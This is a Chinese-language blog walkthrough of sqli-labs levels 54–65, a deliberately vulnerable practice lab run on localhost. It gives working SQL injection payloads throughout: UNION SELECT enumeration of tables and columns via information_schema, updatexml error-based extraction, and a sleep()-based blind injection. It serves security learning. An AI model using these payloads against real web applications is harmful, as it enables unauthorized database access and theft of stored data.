Sqli-labs实验Task4(less54-65)

作者 折戟 日期 2019-04-15
Sqli-labs实验Task4(less54-65)

Sqli-labs实验Task4(less54-65)

Less-54

Page 4又是不一样的挑战:
1.PNG
可以看到这一串英文的提示是告诉我们需要在不到10次尝试中从数据库challenges中的随机表中获取秘钥,有趣的是,每次都会重置,challenge都会产生随机的表名、列名、表数据。一直保持新鲜。
分析分析可以知道,这个和ctf差不多,我们需要获取flag来提交才算成功。
首先第一次判断闭合情况,一次成功,单引号闭合:

$ 127.0.0.1/sqli-labs-master/Less-54/?id=1’

知道数据库名是challenges,下面获取表名:

$ 127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' -- #

2.PNG
获取了表名,果然是随机产生的,现在获取字段:

$ 127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,2,column_name from information_schema.columns where table_name='8al0pvg8mg' and table_schema='challenges' -- #

3.PNG
可以看到第一个字段是id,还是直接获取所有列名把,有点蠢,以为一次就能出:

$ 127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='8al0pvg8mg' and table_schema='challenges' -- #

4.PNG
根据观察列名应该就是第三个secet_IKU1后面几位应该就是随机产生的,哈哈现在获取flag了:

$ 127.0.0.1/sqli-labs-master/Less-54/?id=0' union select id,sessid,secret_IKU1 from challenges.8al0pvg8mg -- #

5.PNG
哈哈哈,后面直接提交就可以了啦!透个底,作者第一次成功的次数是8次,这个是第二次写博客的时候重新测试的。

Less-55

这一个和上一个差不多,不过将次数增加到了14次,可见难度肯定又有上升了!先来看看闭合情况:

$ 127.0.0.1/sqli-labs-master/Less-55/?id=1) -- #

没有报错,很难受,就一个括号的闭合,我竟然猜了6次!!!!!太浪费了,太浪费了。后面就差不多了。54的payload可以直接用,更改一下闭合就行了。最后9次才出来,有点丢人。

Less-56

同样是14次,按照之前的套路,这个时候应该是一个有报错的双重闭合。

$ 127.0.0.1/sqli-labs-master/Less-56/?id=1') -- #

单引号加括号,没意思,大家可以自己玩玩。

Less-57

我猜应该也是不同的闭合,每次套餐四个不是吗?

$ 127.0.0.1/sqli-labs-master/Less-57/?id=1" -- #

Less-58

这一次就给力了,只有5次机会,这就基本要保证我们每一次都不能出现错误。
测试了一下还是单引号闭合:

$ 127.0.0.1/sqli-labs-master/Less-58/?id=1' -- #

试一下54的payload发现不行!这样不行,那就得换方法了,发现可以报错,试试我们之前的updatexml的报错看看:

$ 127.0.0.1/sqli-labs-master/Less-58/?id=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1))-- #

6.PNG
成功,但是次数不够了,尴尬,只能重开一局了。
后面的话就直接修改updatexml里面的第二个参数的查询语句就可以啦,我就不废话了。

Less-59

这个比上面那个还简单,没有闭合。根据报错可以看出:

$ 127.0.0.1/sqli-labs-master/Less-59/?id=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1))-- #

Less-60

和上面一样,闭合情况改为了双引号加括号:

$ 127.0.0.1/sqli-labs-master/Less-60/?id=1") -- #

Less-61

哇,这一次,我没有试出来,看了源码才弄出来闭合。。。。头皮发麻,单引号加两重括号,这第一次见:

$ 127.0.0.1/sqli-labs-master/Less-61/?id=1')) -- #

其他的就和之前的一样。

Less-62

我的天,这一次让我们130次的机会,我猜现在肯定就只能利用布尔的盲注,不然照实验这么抠的,怎么会给130次机会。。
可以看到,现在没有报错,只能自己猜闭合情况,然后union联合查询也没用,只能利用布尔盲注。
闭合是单引号加括号。
尝试获取信息:

$ 127.0.0.1/sqli-labs-master/Less-62/?id=1') and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10)) -- #

这个时候肯定就只能利用脚本了。大家可以用sqlmap试试,我这里就没弄了。

Less-63

这个和62一样,不过闭合变成了单引号。

Less-64

这个也一样,闭合变成了双重括号!!!

Less-65

双引号加括号!

结束语

本来看sqli-lab的分布图应该是有到less-75的,但是一直也没有找到,就暂且不论了。还有这次的sqli-lab的实验过程中,基本都是手动做的,因此很多需要布尔,时间的盲注的less都没有好好弄,之后有时间会整理出一套用工具的教程来完善一下。
就像我的学长曾经指导我一样,他没有具体去教我如何学习渗透,学习注入的知识,他很鄙视渗透,甚至都不愿教我们,但他又承认,这是安全工作者必备的技能。
安全学习过程中,路漫漫其修远兮!